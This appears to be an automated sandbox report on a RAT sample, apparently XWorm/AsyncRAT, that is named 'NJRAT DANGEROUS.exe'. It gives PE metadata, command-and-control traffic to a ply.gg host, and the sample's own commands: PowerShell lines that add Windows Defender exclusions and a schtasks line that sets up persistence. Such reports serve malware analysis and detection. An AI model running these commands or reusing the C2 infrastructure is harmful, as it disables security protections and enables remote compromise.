add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1280c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14000	0x50e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x16000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x10864	0x10a00	131d6b452616fd4ef7c64f16795aa14a	False	0.5944255169172933	data	6.05895189166813	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x14000	0x50e	0x600	52927d899dd211a1bd4ab4522cf22d92	False	0.388671875	data	3.8825514148734097	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x16000	0xc	0x200	0aba401421531a02333d0dbf828d79b9	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x140a0	0x284	data			0.45962732919254656
RT_MANIFEST	0x14324	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T08:39:03.308463+0100	2853618	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.5	49781	147.185.221.181	17209	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 08:38:02.531083107 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:38:02.650934935 CET	80	49704	208.95.112.1	192.168.2.5
Dec 16, 2024 08:38:02.651067019 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:38:02.652143955 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:38:02.771806955 CET	80	49704	208.95.112.1	192.168.2.5
Dec 16, 2024 08:38:03.746903896 CET	80	49704	208.95.112.1	192.168.2.5
Dec 16, 2024 08:38:03.789618969 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:38:40.898489952 CET	80	49704	208.95.112.1	192.168.2.5
Dec 16, 2024 08:38:40.898564100 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:38:48.846693993 CET	49781	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:38:48.967349052 CET	17209	49781	147.185.221.181	192.168.2.5
Dec 16, 2024 08:38:48.967466116 CET	49781	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:38:49.049562931 CET	49781	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:38:49.170886040 CET	17209	49781	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:03.308463097 CET	49781	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:03.429970980 CET	17209	49781	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:10.868161917 CET	17209	49781	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:10.868243933 CET	49781	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:15.446150064 CET	49781	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:15.447506905 CET	49845	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:15.565911055 CET	17209	49781	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:15.567241907 CET	17209	49845	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:15.567318916 CET	49845	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:15.607261896 CET	49845	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:15.727057934 CET	17209	49845	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:29.868320942 CET	49845	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:29.988029957 CET	17209	49845	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:37.478708982 CET	17209	49845	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:37.478842020 CET	49845	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:38.446182013 CET	49845	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:38.447326899 CET	49899	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:38.565960884 CET	17209	49845	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:38.567050934 CET	17209	49899	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:38.567164898 CET	49899	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:38.589880943 CET	49899	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:38.709780931 CET	17209	49899	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:43.775832891 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:39:44.086771011 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:39:44.687606096 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:39:45.899239063 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:39:48.305480003 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:39:52.618329048 CET	49899	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:39:52.738225937 CET	17209	49899	147.185.221.181	192.168.2.5
Dec 16, 2024 08:39:53.117999077 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:40:00.466083050 CET	17209	49899	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:00.466160059 CET	49899	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:02.649429083 CET	49899	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:02.654273033 CET	49954	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:02.769810915 CET	17209	49899	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:02.774532080 CET	17209	49954	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:02.774626017 CET	49954	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:02.810266972 CET	49704	80	192.168.2.5	208.95.112.1
Dec 16, 2024 08:40:02.812731981 CET	49954	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:02.932849884 CET	17209	49954	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:02.932939053 CET	49954	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:03.052946091 CET	17209	49954	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:03.053011894 CET	49954	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:03.172916889 CET	17209	49954	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:03.384558916 CET	49954	17209	192.168.2.5	147.185.221.181
Dec 16, 2024 08:40:03.504343987 CET	17209	49954	147.185.221.181	192.168.2.5
Dec 16, 2024 08:40:09.435478926 CET	49954	17209	192.168.2.5	147.185.221.181

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 08:38:02.386356115 CET	59162	53	192.168.2.5	1.1.1.1
Dec 16, 2024 08:38:02.523914099 CET	53	59162	1.1.1.1	192.168.2.5
Dec 16, 2024 08:38:48.595571995 CET	64059	53	192.168.2.5	1.1.1.1
Dec 16, 2024 08:38:48.844944000 CET	53	64059	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 08:38:02.386356115 CET	192.168.2.5	1.1.1.1	0x5022	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 08:38:48.595571995 CET	192.168.2.5	1.1.1.1	0xa236	Standard query (0)	soon-lp.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 08:38:02.523914099 CET	1.1.1.1	192.168.2.5	0x5022	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 08:38:48.844944000 CET	1.1.1.1	192.168.2.5	0xa236	No error (0)	soon-lp.at.ply.gg		147.185.221.181	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	208.95.112.1	80	2520	C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 08:38:02.652143955 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Dec 16, 2024 08:38:03.746903896 CET	175	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 07:38:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	02:37:57
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\NJRAT DANGEROUS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\NJRAT DANGEROUS.exe"
Imagebase:	0xa40000
File size:	70'656 bytes
MD5 hash:	401B1EA00D135D5060F237C2F5A8A6C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.2040464728.0000000000A42000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.2040464728.0000000000A42000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.3316762104.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	2
Start time:	02:38:03
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	02:38:03
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	02:38:16
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NJRAT DANGEROUS.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	02:38:16
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	02:38:27
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	02:38:27
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	02:38:45
Start date:	16/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NJRAT DANGEROUS" /tr "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Imagebase:	0x7ff6f4520000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	02:38:45
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	02:38:55
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Imagebase:	0x7ff6068e0000
File size:	70'656 bytes
MD5 hash:	401B1EA00D135D5060F237C2F5A8A6C4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	14
Start time:	02:39:01
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Imagebase:	0x690000
File size:	70'656 bytes
MD5 hash:	401B1EA00D135D5060F237C2F5A8A6C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	02:39:03
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Imagebase:	0x8c0000
File size:	70'656 bytes
MD5 hash:	401B1EA00D135D5060F237C2F5A8A6C4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	16
Start time:	02:40:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Imagebase:	0x880000
File size:	70'656 bytes
MD5 hash:	401B1EA00D135D5060F237C2F5A8A6C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	19
Start time:	02:40:03
Start date:	16/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2520 -s 2572
Imagebase:	0x7ff67d400000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false